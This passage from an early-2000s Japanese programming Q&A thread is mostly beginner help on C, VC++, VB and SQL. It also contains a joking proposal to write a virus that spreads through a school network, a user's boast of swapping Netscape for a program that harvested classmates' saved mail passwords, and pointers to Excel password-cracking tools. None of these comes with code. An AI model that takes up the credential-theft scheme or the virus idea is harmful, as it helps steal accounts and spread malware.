ソース見て勉強になりました。
どうもどうも。
0332デフォルトの名無しさんNGNG
>>328

char a[0];

........
0333デフォルトの名無しさんNGNG
char a[-1];
0334デフォルトの名無しさんNGNG
1組[出席番号]
0335即レス求むNGNG
プログラミングの講義で
何でもいいから自分で課題を決めて作れ!と宿題を出されたんですが
何でもいいといわれるとかえって何を作ればいいか分かりません。
ユニークな課題を考えてください。お願いします。
ちなみにC言語です。
0336デフォルトの名無しさんNGNG
>335 ギコbasicを作れ
0337デフォルトの名無しさんNGNG
ギコはまずいかもしれんが、簡単なbasicインタプリタつくるのはよいのでは
0338七誌NGNG
VC++相談室で聞いてみたのですが、どなたからも反応がなかったので、
こちらでも質問させてもらいます。

MDBからデータを取得するために、次のようなコードで
レコードセットに対してSQLを渡そうとしているのですが、
1つめのような短いSQLは、実行できても、2つめのような
長いSQLは実行できません。なぜでしょうか。
長い方のSQLには途中でメンバ変数をつないであったりするのですが、
生成されたSQLをACCESSで直接実行しても、問題はありませんでした。
コンパイル,リンクは大丈夫なのですが、実行時にエラー?ASSERT?がでます。
(長いといっても、1000文字程度のSQLなのですが)
#include <afxdao.h>
CDaoDatabase MyDB;
CDaoRecordset MyRs(&MyDB);

void CSearchDlg::OnButton1()
{
CString DdPath;
CString SQL;
DbPath = "c:\\database.mdb";
MyDB.Open(DbPath);
/* こんな短いのはOK
SQL = "SELECT * FROM TABLE_ABC;";
MyRs.Open(dbOpenDynaset,SQL,dbReadOnly);
*/
/* 上の変わりにこれはNG
SQL = " SELECT"
" TABLE_ABC.field01"
",TABLE_ABC.field02"
",TABLE_ABC.field03"
   /*ここに長いSQLを記述
MyRs.Open(dbOpenDynaset,SQL,dbReadOnly);
*/
}
0339七誌NGNG
>>338
SQLを格納しているCString型の先頭にブランクが入っているのが
原因のようです。現在、調査続行中。
解決かも・・・
"SELECT"と" SELECT"の違い!?
これぐらい解読して欲しいと思うのですが、C++としてみた場合、
相当意味が違っているのでしょうか
0340デフォルトの名無しさんNGNG
>>336-337
レスどうもです。インタプリタですか・・・
はたしてあと一日でできるか!?
0341デフォルトの名無しさんNGNG
>335
ウィルスを作ろう!
実行した教授のコンピュータを感染源として学校のサーバーに感染。
サーバーに接続した学内のコンピュータに増殖。
学生用のメールアドレスをサーバから調べすべてにウィルス送信。
これをやれば君はすぐに学校を卒業することができるぞ!
0342デフォルトの名無しさんNGNG
それは退学っていうんじゃ・・・
ネタじゃなくてマジねたきぼ〜ん
0343デフォルトの名無しさんNGNG
>340
簡単なforthみたいな数式処理系でも作ったら?

2 に 3 足す に4 かける 印刷
"に"を スタックpush にするだけ
0344デフォルトの名無しさんNGNG
>340

int main()
{
int *p;

p = rand();

p[0] = 0;
return 0;
}

0345超初心者NGNG
学校のCドライブにZドライブの中身を一つのファイルにまとめて保存
と同時にネスケ動かすプログラムをネスケと入れ替えたら、
次の日いっぱい溜まってた。

メ−ル見るのにパスワ−ド毎回いれんのめんどくだいからって
保存してるやつはいかんのう、、、

こんな僕の趣味はパソ室での”釣り”です。
0346デフォルトの名無しさんNGNG
意味がよくわ
0347デフォルトの名無しさんNGNG
要約すると厨房の発火気取りです。
0348デフォルトの名無しさんNGNG
>>338 七誌
ブランクじゃなくて、'\0'が入ってるんでしょ。
C/C++だとそこで文字列が終わりになっちゃうよ。
0349デフォルトの名無しさんNGNG
VBで、ファイルのヘッダに書き込むにはどうしたらいいのでしょうか?
あと、下の宣言文の意味がよくわからないのですが・・・
DIM s as string *256
0350デフォルトの名無しさんNGNG
> VBで、ファイルのヘッダに書き込むにはどうしたらいいのでしょうか?
リファレンスでseekステートメントを検索

> DIM s as string *256
256文字の固定長文字列
0351デフォルトの名無しさんNGNG
350>
レスありがとうございます

では、DIM s as string だと何文字でもいいのでしょうか?
DIM s as string *256 だと絶対に256文字しかダメということでしょうか?
そうすると DIM s as string の方が楽だと思うのですが?


0352デフォルトの名無しさんNGNG
HotSoupProcessorでプログラミングを始めるのは邪道なんですか?
VisualBasicは開発環境が無料で手に入らないらしいのでHSPにしたんですが...
0353七誌NGNG
>>348
調べてみたら、「文字列の初めにあるブランク以降」でフィールドを
探しているような関数が出てきました。
そこで変数の中身をみたら「 SELECT」という文字列が判定材料に
なっていたので、もしやと思い、ブランクを外したら、正常に動作しました
0354335NGNG
皆さんレスどうもです
結局人に相談したところ数学の定義なんかが無難じゃないか、と
さしあたり微分するプログラムでも作ってみようと思います。
累乗計算のあたりが苦戦しそうですが・・
0355デフォルトの名無しさんNGNG
>352
邪道、基本はC。but邪道モokヨ〜
0356デフォルトの名無しさんNGNG
>>351
> では、DIM s as string だと何文字でもいいのでしょうか?
2G byteまでならOKです。

> DIM s as string *256 だと絶対に256文字しかダメということでしょうか?
そうです。

> そうすると DIM s as string の方が楽だと思うのですが?
APIやCなどで作った関数をVBから呼び出したい場合、
Cの型にはVBのString型やVariant型はないので、固定長配列を
つかわないといけない場合があります。
VBだけで作っている間は可変長配列だけ使っていても問題ありません。
0357デフォルトの名無しさんNGNG
VC++でNetGroupGetInfoを使えるように
するには、なにをインクルードすれば
いいの?
0358デフォルトの名無しさんNGNG
>>357
VC++のincludeフォルダをWindowsの検索で探したら?
0359デフォルトの名無しさんNGNG
VBAで
日付のyy/mm/ddのデータをmm/dd/yyに変換したいのですが
formatを使ってもできないです、教えてください
0360デフォルトの名無しさんNGNG
356>
レスありがとうございます、勉強になりました〜
0361VC++勉強中NGNG
クラスについてなのですが、今、クラスを自作しているのですが、
ヘッダーファイルとソースファイルの関係について教えて下さい。

ヘッダーにクラスの定義を書いて、ソースにメンバ関数などを記述する
というのは、なんとなく理解できているのですが、
ヘッダーファイルにメンバ関数を記述して、あるクラスを構成するファイルを
1つにしておけば、他のアプリケーションで流用するときも、
1ファイル追加するだけでいいという、利点もあるような気がします。

これは、C++のルールとして許されないのでしょうか。
それとも、もっと他の理由があるのでしょうか。
0362デフォルトの名無しさんNGNG
>>359 こんなのしか思い付かない...
Private Function ymd2mdy(ByVal ymd As String) As String
ymd2mdy = Mid$(ymd, 4, 2) & "/" & Mid$(ymd, 7, 2) & "/" & Mid$(ymd, 1, 2)
End Function
0363デフォルトの名無しさんNGNG
#includeというのは単にテキストの貼り付けに等しいということを思い出せ >>361
0364デフォルトの名無しさんNGNG
アナログ時計を作りたいのですが、何かサンプルはないでしょうか。
アルゴリズムが全然思いつきません。
CかVBかDelphiだと嬉しいです。
0365デフォルトの名無しさんNGNG
三角関数
0366デフォルトの名無しさんNGNG
仮想デバイスドライバをいじってゲームコントローラーの
書くボタンをキーボードの特定のキーに対応させる事は出来るでしょうか?
それとEXEファイルをCのソースファイルに復元する事は出来ますでしょうか?
ご教授お願いします。
0367デフォルトの名無しさんNGNG
そんな事が簡単に出来るのなら世の中盗作ばっかりだ。
0368デフォルトの名無しさんNGNG
どこに書いたらいいのかわからなかったのでここに書かせていただきました。
ページを見てもらいたくない人がいるんですが、その人だけ弾き飛ばす方法って
あるのでしょうか?ページにパスワードをつける方法はよく見るのですが。
もしも特定の相手だけをアクセスさせない方法がありましたら教えて
いただきたいのですが…。よろしくお願いいたします。
0369デフォルトの名無しさんNGNG
>>368
CGIなら割と簡単だな
普通のHTMLはサーバーの設定ができる権限がないと
難しいな。プロバイダと要相談
0370デフォルトの名無しさんNGNG
プログラム初心者です。
仕事はビル管理屋なんですが(電気設備管理を中心とした)
建物の設備関係の警報(防災・警備設備を除く)をPCで管理する
システムのプログラムを自分で書きたいと思っています。
(OSは未定ですがWin98又はLinuxを予定)
最終的なオペレーターは警備員(防災センター勤務員)になるので、
出来るだけ操作簡単、オブジェクト指向のものを目指しているのですが・・・。

そこで、質問です。

この様なシステムの構築を考える時、あなたの薦めるプログラム言語はなんでしょうか?

WinやLinuxをベースとした既製品が売れれているのは知っていますが、
実際に使っている同業者に聞くと導入後、何度となくパッチを充てても
トラブルって頭を抱えている様ですし、外注に出す金も会社にはありません。
そこで無謀とは思いながらも自作を試みています。

宜しくお願いします。

0371デフォルトの名無しさんNGNG
>>370
警報の入力方法はどうなってるのよ
言語よりも警報を受け取るインターフェースのハードと(拡張カード?)
それのドライバがちゃんとあるのか気になる
ドライバから作るのは素人には難しいと思う。
0372デフォルトの名無しさん。NGNG
>>370
BASICがお勧め。最先端のプログラミング言語だからその程度のことは、お茶の子さいさいよ!
0373デフォルトの名無しさんNGNG
>>372
なら安くで請け負ってやれ。
0374デフォルトの名無しさんNGNG
>>371
たとえばコンテック ttp://www.contec.co.jp/ とかの製品だったら、
ドライバとかは一通り揃ってるから、その辺は大丈夫なんじゃない?
警報の管理ぐらいなら、そんなにタイミングはシビアじゃないだろうし。
ある程度の経験者だったら、安定度なんかから言ってLinuxでCで書くってのをオススメする所だけど、
370さんは初心者って事だから、VBあたりでやった方がいいんじゃないかな?
プロが「VBでやりま〜す」って言いやがったら「帰れ」って言うけど(w
0375370NGNG
>371、早々のレス有難うございます。
ほとんどの警報の入力信号は極めて初歩的なリレー回路からの「ON」「OFF」信号です。
まあ、例えば「漏電無しでOFF」「漏電発生でON」てなものです。
これを集積する端子盤(ものによってはICボード)、ここまでが
現在ある「ドライバ」です。
多少構造が複雑なエアコンのボードにはCPUが付いています。当然プログラミングが
されているのでしょうがプロトコルや言語は今、調査中です。
これらの端子盤をICボード化した上でCPUをつけてLANのアドレス的なものを
発生させてメインのOS(PC)に送り処理できないかな?などと考えているの
ですが・・・。

>374
LinuxでC・・・王道の香りがします(笑)。
一番心配なのはトラブルが度重なり「こんなクソみたいなもんスイッチ切っとけ!」
・・・と成る事なのす。「初心者にはVB」これも王道ですね。
ただ、こういったシステムにWin98って「使用に耐える」事が出来るんでしょうかね?
まあ、こういった警報システムでWinで製品化されているものもある様なのですが。
アドバイス有難うございました。
0376デフォルトの名無しさんNGNG
#include <stdio.h>


void main()
{
char a[100],*p;
scanf("%s",a);
p=a;
printf("%p\n",p);

for(;*p;p++){
if(*p==' ')
break;
}
printf("%p\n",p);
printf(p);
return;
}
でscanfをgets(a)にしないとただしくひょうじされないんですがなぜでしょうか
0377376NGNG
スペースがあったらそこから表示させたいんです。
0378377NGNG
今日は人が少ないな(汗
0379デフォルトの名無しさんNGNG
>>376
俺も初心者だけどさ本を見たら
scanfは最初の余白文字(スペース、タブ、改行)に会った時点で読み込みを中止するんだってさ。
しかし、最近よく飛ぶね。
0380デフォルトの名無しさんNGNG
>>375
そこはかとなく6:4半田の甘く危険な香りがしてくるんですが、、、
はまらない程度にがんばってくださいとしかいえないけど。
>>374のサイトみたら久しぶりにはんだごてに火を入れたくなってしまったよ。
0381374NGNG
>>375
こういったシステムにWin98って「使用に耐える」事が出来るんでしょうかね?
Win98はやめた方がいいね。せめてWindows2000
こういう警報装置って24時間365日動きつづけなきゃダメじゃん。
Win98とかって、49日でお亡くなりになるんじゃなかったっけ?
まぁ、2000でも死ぬ時は死ぬけどね(w
ちなみにオレは、昔はこの手のはDOSでやってた。昔って言っても2〜3年前までだけど。
最近は全部Linux。「警報をネットワークで通知してくれ〜」とかいう話増えたから
なので、Windows系でどれくらい使い物になるかは知りません。悪しからず
0382デフォルトの名無しさんNGNG
katyuusya_test
0383デフォルトの名無しさんNGNG
プログラミングをやってみたいんだけど、
まず何をすればいいかさっぱりわかんないので、
最初にやることを教えてください。
0384デフォルトの名無しさんNGNG
>>383
数学の本読む
0385383NGNG
>>384
まずBASICをやれ!
っつーことですかね?
0386名無しさん6502NGNG
383は高校生と見たがどうか。
0387383NGNG
もうすぐ浪人になりますがね・・・(ワラ
0388デフォルトの名無しさんNGNG
そっちの勉強やれ。
0389デフォルトの名無しさんNGNG
プログラミング始めたいんですけど超初心者です。
数学の知識はどのくらい必要なんでしょう、
やはり中学程度では不十分ですか?
高校、大学では遊びほうけてしまってなにを
勉強したかサッパリ覚えていません。
0390デフォルトの名無しさんNGNG
技術計算するとかいうのが無ければ、ほとんど必要ないと思うけど。
ただ、自分の表現したいことが表現できないときがくるのも事実。
そのときには、「もっと勉強しとけばよかった」と思って
恥かきながら他人に聞いて下さい。
0391デフォルトの名無しさんNGNG
相談します。
皆さんOS何つかってます?
今度、パソコン買い換えて"ME"になったんですけど
microsoftで調べたらC++は"ME"には対応してないと
いうことで今、困っています。
むりやり、"Me"にいれても動くような気がするんですけど
C++をMeで使っている人いましたら情報お願いします。
やっぱ、いろいろ問題とか起こるのかな〜
0392デフォルトの名無しさんNGNG
なんじゃそら?
C++→VC++
ってこと?
0393391NGNG
そうゆうこと
0394名無しさん6502NGNG
いや、Me対応してるけど。>VC++
0395名無しサンプリング@48kHzNGNG
 VB6使ってます。
フォームにアイコンを設定しようとすると
プロパティーの値が不正です、とか云われて
アイコンの設定が出来ません。
何故でしょうか。何がおかしいのかわからないので何方か教えて下さい。
0396デフォルトの名無しさんNGNG
VC++で
COMポートを使ってパソコンから
相手の機器へデータ(整数値)を転送するには、
以下のコードでいいでしょうか?
(常に4バイト送ってくれるか心配なんだけど…。
改良点があれば教えて下さい。)

// 送り先のクリエート
handle = CreateFile("COM1", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if(handle == INVALID_HANDLE_VALUE){
// クリエート時エラー
}

// 初期設定の取得
GetCommState(handle, &lpdcb);

// 必要に応じてここでlpdcb構造体のメンバを変更


// COMポートの設定をセット
SetCommState(handle, &lpdcb);

// 送り先へデータの送信
bRetW = WriteFile(handle, &iData, sizeof(iData), &dwNumber, NULL);
if(bRetW == 0){
// データ送信時エラー
}

// ハンドルのクローズ
bRetC = CloseHandle(handle);
if(bRetC == 0){
// ハンドルクローズ時エラー
}
0397デフォルトの名無しさんNGNG
Win CE2.0でステータスバーを出すにはどの関数を使えばいいんですか?
0398デフォルトの名無しさんNGNG
>397
CreateStatusWindow
って使えないの?
CEないから分からないけど。
0399デフォルトの名無しさんNGNG
VC++で、ブラウザを開いて外部HTMLを開くにはどうしたらいいんですか?
0400SAGENGNG
>>399
ShellExecute
0401デフォルトの名無しさんNGNG
フリーで最強の言語って何ですか?
これからプログラムを勉強しようと思うので。
マジレス希望です。
0402デフォルトの名無しさんNGNG
VCでADO使いたいのですが基本も何も分かりません。
ネット上でも色々調べたのですがどうも探し出せませんでした。
MSDNもイマイチわからないし、サンプルソースをください。
というか、C言語は分かってもC++はわかりません。
CだけじゃADO使えないんですか?
0403デフォルトの名無しさんNGNG
便乗して402と同じような質問。
AccessのmdbをVCから使いたいが、
SQL投げてデータが返ってくればいいだけなんですが、
どうしたら実現するのでしょうか?
自分もC言語だけしかできないです。
0404デフォルトの名無しさん NGNG
>>401
HSP(ホットスープ)なんかどう?
フリーで最強!?
0405デフォルトの名無しさんNGNG
それはさっき落としました。
たしかVBとかっていうのもフリーじゃなかったですか?
それは知名度も高く入門用に最適と聞いたのですが。
0406デフォルトの名無しさんNGNG
>>405
> フリーで最強の言語って何ですか?
> VBとかっていうのもフリーじゃなかったですか?
ネタか?
0407デフォルトの名無しさんNGNG
いやネタじゃないです(汗)
そう見かけたような感じです。
パソコンは大体はわかるのですが
プログラムはさわったことないので
0408デフォルトの名無しさんNGNG
>>403
adoは知らないけど、mfc&daoでよければMSDNライブラリにチュートリアル
が入ってますぜ。
0409名無しさんNGNG
>>402
Cから使うのならODBCを使ったほうがよいのでは。
やれることはほとんど同じで、かつサンプルも多いし。

ADOならばadoint.hにlpVtbl経由での呼び出しが定義されているので
不可能ではないが、実際の呼び出しはほとんどC++と変わらないので、
実質的にC++の知識を要求されるのでお薦めできません。
0410事務員NGNG
分野が全然ちがうんですが、エクセルのパスワードを保護を解除する方法を教えて下さい。
先日、急死した前任者が作ったものなんですが、大変困ってます。
色んなHPを見たのですが見つけられず、書き込んでみた次第です。

プログラマーではありません。ただの事務員さんです。

0411デフォルトの名無しさんNGNG
>>411
シェアウェアだけどクラックするツールがあるみたいよ
http://www.internetclub.ne.jp/TECH/Ztoday/1999/annex/excelpass.html

誰にでも作れそうな気がするけど
0412デフォルトの名無しさんNGNG
えっと、プログラム板とプログラマ板の違いがわかりません。なんで似たような板が二枚あるの?
0413デフォルトの名無しさんNGNG
例えば、
プログラム板では、YaneuraoGameScriptについてだべる。
プログラマ板では、YaneuraoGameScriptの作者についてだべる。
0414うさぎNGNG
>>410
http://www.internetclub.ne.jp/TECH/Ztoday/1999/annex/excelpass.html
のサンプルスクリプトダウンしましたが、3桁の数字にしか
対応してませんね
成功報酬込みで、来週の月曜(26日まで)までに
仕上げてもいいですよ、それ以上かかる場合パス。
詳しくは、下記メールにて。
[email protected]
0415403NGNG
>>408
>>409
参考にさせていただきます。
ありがとうございました。
便乗ですけど。
0416ぴょんNGNG
会社から「ウェブアプリを勉強して」と言われました
何に手をつけたら良いかさっぱりわかりません(号泣)
0417デフォルトの名無しさんNGNG
>>416
ASP/Perlとか簡単でいいと思うんだけど。
というかCGIについて学ぶのが一番いいかな。
CGI=Perlって思ってる人が多いし。

奥の手でバッチファイルでCGI。
http://www.jah.ne.jp/~m_mano/
0418デフォルトの名無しさんNGNG
「るびぃ」どうっすか?
本も出たし雑誌でも特集組んでるし。
真珠から乗り換えようかななんて。
0419デフォルトの名無しさんNGNG
>418
おー!
「るびぃ」ってパールに対抗したんですね。
今気がついた。
ちょっと感動。
0420デフォルトの名無しさんNGNG
>418-419
おー、なるほどー
0421デフォルトの名無しさんNGNG
MSDNからVC++以外の言語の解説を削除する方法はありますか?
検索するたびにJAVAやVBのキーワードがいっぱい出てきてうっとおしいです。
0422名無しサンプリング@48kHzNGNG
>>421
MSDNのセットアップ走らせてみ。[追加/削除]ってボタンがあるから。
(「アプリケーションの追加と削除」で、"MSDNライブラリ..." を選択する)
0423422NGNG
ん〜、でもドキュメントの実体を消せるだけで検索結果には出るか...困ったね。
0424デフォルトの名無しさんNGNG
>>421
アクティブサブセットを切り替えれば・・ってネタにマジレスってやつか?
0425デフォルトの名無しさんNGNG
>>421
ネタじゃありませんでした・・・。
まさかこんな簡単にできたとは・・・鬱山車脳。
0426デフォルトの名無しさんNGNG
DirectDrawってバージョンによる違いはどのくらいあるんでしょうか?
DirectDraw7とそれ以前との機能の差とかが知りたいです。
0427デフォルトの名無しさんNGNG
VCでデフォルトのエディタからテキストファイルを開くにはどうすればいいんですか?
0428デフォルトの名無しさんNGNG
system("start hoge.txt")でもやっとけ(藁
0429デフォルトの名無しさんNGNG
この前、クイズができるホームページでクイズに挑戦しようとしたのですが、
「クッキーの使用できない環境では参加できません」と出てきて結局できませんでした。
クッキーっていったいなんですか?
0430デフォルトの名無しさんNGNG
>429
ビスケットの親戚
0431デフォルトの名無しさんNGNG
100個のデータがdata[0]〜data[99]として存在し,その中からランダムに一つを選ぶ操作を行っていきます。その際一度選択されたものは2度と選ばないようにするにはどのようにすればよいでしょうか?
一応何個か方法は思いついているのですけどどれもパフォーマンスが悪そうなのでなにか有名なアルゴリズムがあったら教えてください.
0432デフォルトの名無しさんNGNG
>>431
シャッフルすればいいと思う。
シャッフルは調べればどっかにアルゴリズムが載ってるはず。
0433431NGNG
つーか、配列数int型で領域確保してランダムソートして順番に0から参照していき,その中にはいっている数値を使えばよかったですな・・・・
あほ区さ欝山車脳・・・
0434デフォルトの名無しさんNGNG
>431
STL コンテナだと random_shuffle アルゴリズムが使えたかと思いますけど。
問題の配列をシャッフルして、頭から順番に読み込んでいけばいいのでは?
0435デフォルトの名無しさんNGNG
>431
シャッフルしないで、確率増やしながら選択していくのが有名らしい
0436VC++勉強中NGNG
VC++で、MDIアプリを作ろうと思っています。
まだまだ初心者の身ですので、AppWizardを使って
MDIの大枠を作った後、子ウィンドウとして、数種類のフォームを
使いたいので、CFormViewを追加しました。
ただ、追加できただけで、この追加したフォームの表示の仕方が
さっぱり分かりません。
どうすれば、この追加したフォームと、元のフォームを表示することが
できるのでしょうか。
メニューAを選べば1つ目のフォームを、メニューのBが選択されたら
B2つめのフォームが・・・としたいのです。
0437んNGNG
これなんですか?


TARGET="_blank">

0438デフォルトの名無しさんNGNG
バックスラッシュってどうやって出すんですか?
/←これの逆のヤツ。

キーボードのバックスラッシュ押したら\がでます
0439デフォルトの名無しさんNGNG
>>438
日本語キーボードの場合、バックスラッシュは出せません。
設定を変える事により出す事は可能ですが、記号の位置が
バラバラになってしまうのでお勧めできません。

なぜ、バックスラッシュを出したいのでしょう?
大概の場合、バックスラッシュは\と読み替えて差し支えありません。
0440デフォルトの名無しさんNGNG
基本的に、バックスラッシュと\のコードは同じだよねぇ。
0441427NGNG
>>428
DOSプロンプト画面が出てしまうんですが、
出さないようにするにはどうしたらいいのでしょうか?
0442デフォルトの名無しさんNGNG
>>441
ShellExecute
0443デフォルトの名無しさんNGNG
>>441
spawn系とかCreateProcess()とかを使えばよろしい。
0444デフォルトの名無しさんNGNG
VCのClassWizardってどこにあるんですか?
出てこないんですけど。
0445んNGNG
すんませんこれ串を通した後をIP抜かれた際に残ってた文字化け?


TARGET="_blank">

0446デフォルトの名無しさんNGNG
BASE64エンコード・デコードを行うライブラリをお持ちの方いますか?
ちょっと急な仕事で必要になったのですが。。。
0447446NGNG
言語はCです。
0448デフォルトの名無しさんNGNG
>>446
> BASE64エンコード・デコードを行うライブラリをお持ちの方いますか?
> ちょっと急な仕事で必要になったのですが。。。
いくらでですか。十万円なら売ります。
# 学校の課題よりタチが悪いな。
0449デフォルトの名無しさんNGNG
>>446
フリーでソース付きでどこかにあったよ。
ってそんなのいくらでもあるじゃん。
UNIXライクな。
0450デフォルトの名無しさんNGNG
VC++超初心者なのですが、空のウィンドウを作成するのに
手間取っています。
一応教本通りに作ってみたのですが、ビルド時にコンパイルは
問題ないのですが、リンクでエラーが出てしまします。
ちなみにエラー内容は
LIBCD.lib(crt0.obj) : error LNK2001: 外部シンボル "_main" は未解決です
Debug/ModelMain.exe : fatal error LNK1120: 外部参照 1 が未解決です。
となっているのですが何がなんだか解りません。
いろいろ調べたのですが……
どうしたら解決できるのでしょうか?
0451名無しさん@お腹いっぱい。NGNG
>>450
リンクオプションを
/subsystem:console
↓
/subsystem:windows

つーか、FAQ。
0452デフォルトの名無しさんNGNG
VCからVBの関数って呼べますか?
とても卑怯な手ですが簡単な呼び方を教えて下さい。
0453デフォルトの名無しさんNGNG
COMサーバー
0454450NGNG
>>451
ありがとうございます。
おかげでなんとか解決できました。
0455デフォルトの名無しさんNGNG
c言語です。
texのbbファイルを作りたいのですが、
photo?.bbというファイルを作り、(?は1から100程度として)
%%BoundingBox: 0 0 640 512
%%photo?.jpg
という内容にしたい場合、
#include<stdio.h>
main()
{
  int i;
  for(i=1;i<=100; i++){
       FILE*fp;
fp=fopen("photo%d.bb","wt",i);
fprintf(fp,"%%%%BoundingBox: 0 0 640 512\n %%%%photo%d.jpg\n",i);
fclose(fp);
}
}
では'fopen'実引数が多すぎるというエラーが出ます。
Win98でVisualC++6.0を使ってます。
Cは最近やりだしたのでよくわかりません。
ご教示お願いします。

0456SAGENGNG
FILE* fp;
fp=fopen("photo%d.bb","wt",i);

を

FILE* fp;
char filename[20];
sprintf( filename, "photo%d.bb", i );
fp=fopen( filename,"wt" );

とでもしておけぃ。可変個の引数とか %d とか使うのは printf / scanf 系だけ。
0457456NGNG
いや、だけってことはないか。失礼……。
0458デフォルトの名無しさんNGNG
WIN98でBCCを使っているのですが、winsock.hをincludeすると

> MAKE Version 5.2 Copyright (c) 1987, 2000 Borland
> bcc32 -D_WINDOWS_ -tWD -c testpro.c
> Borland C++ 5.5 for Win32 Copyright (c) 1993, 2000 Borland
> testpro.c:
> エラー E2257 J:\tools\Borland\bcc55\include\winsock.h 41: , が必要
> エラー E2139 J:\tools\Borland\bcc55\include\winsock.h 57: 宣言に ; がない
> エラー E2141 J:\tools\Borland\bcc55\include\winsock.h 64: 宣言の構文エラー
(以下略)

などとでてコンパイルできません。どうすれば通るようになりますか?
もちろんwinsock.hはインストール後変更していません。
winsock.hを使わないプログラムはリンクまできちんとできるのですが…
0459455NGNG
>>456
どうもありがとう。
0460デフォルトの名無しさんNGNG
DirectX7で
WIN32_LEAN_AND_MEAN
を定義しないと
error LNK2001: 外部シンボル "_IID_IDirectDraw7" は未解決です
とでます。なぜですか?
VC++6.0を使っています。
0461名無しさんNGNG
>>458
俺win95だけど問題ないな。
とりあえずbccを5.5.1にアップデートすることをすすめる。
0462名無しさんNGNG
どなたかご教授ください。
fortran なのですが、

double precision h, div, u, l, p, ei, func, x
dimension m(0:34)

func(x) = (p * (l - x)**2) / (2.0d+00 * ei)
l = 1.0d+03
p = 0.5d+00
ei = 3.2d+11
div = 4
h = l / div

open (unit=11, file='result.txt')

200 do 210 i=1,div+1
u = func(h*(i-1))
m(i) = func(h*(i-1))
write(11,220) u,m(i)
210 continue
220 format(d24.16,d24.16)

close (unit=11)

stop
end

だいぶと簡略してありますが、このプログラムを走らせたとき、
double precision で宣言した u のほうは正常に出力される
のですが、dimension で宣言した m のほうが 0 になって
しまいます。
何が悪いのでしょうか?

0463デフォルトの名無しさんNGNG
>>462
m が integer (ディフォルトの型宣言)だからじゃないの?
0464デフォルトの名無しさんNGNG
モナジラを自分でコンパイルしてみたいのでデルファイを買いにいったのですが
高いの安いのいろいろあってどれを買えばいいのかわからんです。
どれ買えばいいのでしょう?
Win環境のプログラミングってのもやってみたいのですが。
現在のスキル:Perlで簡単なCGI作れる程度
0465デフォルトの名無しさんNGNG
とりあえず、挫折もしくは飽きることが予想されるなら、Learning版。
すっげーやる気満々で続ける気があるなら、Professinal版。
Learningである程度使ってると、VCLのソースが見れなくてぶち切れることうけあい。

とりあえずLearningにしておいて、6がでたらProに乗り換える手もある。

機能的な違いはここ参照。
http://www.borland.co.jp/delphi/d5boxes.html

たぶん、モナジラのコンパイルには、Learningで十分だと思う。
0466465NGNG
機能一覧はこちらの方がいいや
URL: http://www.borland.co.jp/delphi/d5sku.html
0467デフォルトの名無しさんNGNG
挫折しそうなのでラーニング版にしときます。
でもラーニング版にはインターネット関係の開発機能がごっそり無いけど大丈夫だろうか…
0468AAOEBPAANGNG
昨日、AAOEBPAA.EXEというファイル付きのメールがきたんですが
このAAOEBPAA.EXEってなんなんでしょうか?
もちろん、差出人は不明、件名無しです。
0469デフォルトの名無しさんNGNG
>>467
monazillaスレで聞いてみたら?
0470465NGNG
あー、もしかしたらLearningって、ActiveXとりこめないかもー。
いいかげんなこといったかもしれん。
インターネット周りのは自力で実装or代用品があるものばかりだから
大丈夫だとは思うけど。

まあ、monazillaスレで聞いたほうが早いかなー。
ちなみに俺はPro版で、どれも問題なくコンパイルできてる。
0471デフォルトの名無しさんNGNG
char *st;
st="012\n345\n678\n"
を
char aa[3][4];
aa[0][0]=st[0]='0'
aa[0][1]=st[1]='1'
aa[0][2]=st[2]='2'
aa[0][3]=st[3]='\n'
aa[1][0]=st[4]='3'
aa[1][1]=st[5]='4'
aa[1][2]=st[6]='5'
aa[1][3]=st[7]='\n'
aa[2][0]=st[8]='6'
aa[2][1]=st[9]='7'
aa[2][2]=st[10]='8'
aa[2][3]=st[11]='\n'
とするには、どうすればいいですか?
どうやってもうまくいかないんで教えてください
0472デフォルトの名無しさんNGNG
>471
文字列stのメモリを確保してないからじゃねーの。
char *st="012\n345\n678\n";
とやって宣言と初期化を一緒にするか、char st[13]と配列にしろ。

char aa[3][4];に文字列stを入れるなら
memcpy(aa,st,sizeof(aa));
もしくは
strncpy((char *)aa,st,sizeof(aa));
とする。
aaには最後のヌル文字を入れるスペースがないから、sprintfやstrcpyは使うべきじゃない。
0473デフォルトの名無しさんNGNG
>文字列stのメモリを確保してないからじゃねーの。
厨房発見。
0474デフォルトの名無しさんNGNG
>>471

    int i, j;
    char *p = st;

    for (i = 0; *p; ++i)
        for (j = 0; *p && (aa[i][j++] = *p++) != '\n';)
            ;
0475デフォルトの名無しさんNGNG
VCでVBのdllを使えますか?
また、その使用方法を教えて下さい。
0476デフォルトの名無しさんNGNG
#importでCOMとして使う。
窮地に陥って使ったことが有るが、
>VCでVBのdllを使えますか
がなんとかなかない?自分は納期の関係で非常手段だったが...。
0477475NGNG
>>476
まさに窮地です。
COMもわからないしどうしようかと。
#importでCOMとして...とりあえず調べてみます。
0478デフォルトの名無しさんNGNG
昨日JAVAを始めて勉強しようと思って、
autoexec.batに
path=c:\jdk1.3\bin
ていうパスを足して、でそのままいろいろ
JAVAを勉強してたら、今日の朝
PCを立ち上げると
WIN.COMが見つかりませんWindowsの読み込みを続ける事はできません
って表示されていて、Windowsが立ち上がりません。
c:¥>
って表示されてるんですが、どうしたらWindowsに戻れるんですか?
0479デフォルトの名無しさんNGNG
autoexec.batの"."があなたの全てを物語っています。
0480デフォルトの名無しさんNGNG
>>478
PATH=%PATH%;c:\jdk1.3\bin
としろ。
しかし、そのくらいで立ち上がらなくなるものなのかのぉ
(実験する気はなし)
0481デフォルトの名無しさんNGNG
windowsディレクトリに移ってwinってたたけば起動するよ
きっと。
cd windows
win
0482478NGNG
解った。2時間半ぶりにWinが表示された。
0483デフォルトの名無しさんNGNG
>>482
キョウノアサ ッテ11ジノコトカヨ! Σ(゚Д゚ )
0484デフォルトの名無しさんNGNG
おかしいデス!

tmp_margin = previous_average - now_average;
if(tmp_margin > best_margin)
{
best_margin = tmp_margin;
}
rate_of_change = (double)(tmp_margin) / (double)(best_margin);
if(loop > 1)
{
if(rate_of_change < border)break;
}

上記のように書いていて、if(tmp_margin > best_margin)のところでtmp_marginに負の値が入り、best_marginが正の値がはいったら絶対if文は成立しないはずなのに、なぜか成立してしまってifの中を実行しやがります。なぜでしょうか?

ちなみにいま動かしている状況は

tmp_margin,best_margin,previous_average,now_average : int型
rate_of_change : double型

VC++でデバグ中

といったところです。
0485デフォルトの名無しさんNGNG
よくきくデルファイとかビジュアルCってのは何なんですか?
C言語やC++とは違うのですか?
マジで教えて
0486デフォルトの名無しさんNGNG
